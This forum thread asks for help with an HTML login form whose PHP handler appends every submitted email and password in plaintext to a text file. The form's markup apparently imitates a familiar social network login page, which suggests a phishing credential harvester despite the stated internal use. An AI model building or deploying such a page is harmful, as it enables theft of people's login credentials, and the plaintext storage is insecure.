Support Forums

Full Version: [SOLVED] HTML Form + PHP Help!
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Excuse my n00bery, but I am having trouble learning this one part for my internal-use website. I have an HTML site with a form like so:

Code:
<form method="POST" action="log.php" id="login_form" >
    <table cellspacing="0">
    <tr><td><label for="email">Email</label></td>
        <td><label for="pass">Password</label></td></tr>
    <tr><td><input type="text" class="inputtext" name="email" id="email" tabindex="1" /></td>
        <td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2" /></td>
        <td><label class="myButton myButtonConfirm"><input value="Submit" tabindex="4" type="submit"" /></label></td>
  </tr></table>
</form>

For now I'm just wanting to store the email and password to a text file, and I have two future goals (irrelevant here, but one is a password manager, the other is part of a plugin that integrates with Firefox for similar functionality).

So far I have login.php as shown here:
Code:
<?php

$email = $_POST['email'];
$pass = $_POST['pass'];

$file = 'saved.txt';
$data = "Username: $email\nPassword: $pass\n\n";

file_put_contents ($file, $data, FILE_APPEND | LOCK_EX);

?>

But something isn't working (I don't feel I grasp the whole POST-form thing). Whenever I input email and password and click "Submit" I get a prompt to download login.php.

Help is very much appreciated.
Fixed it. Had no webserver running. Plus switched my server-side processing to Perl (but that's irrelevant to this thread).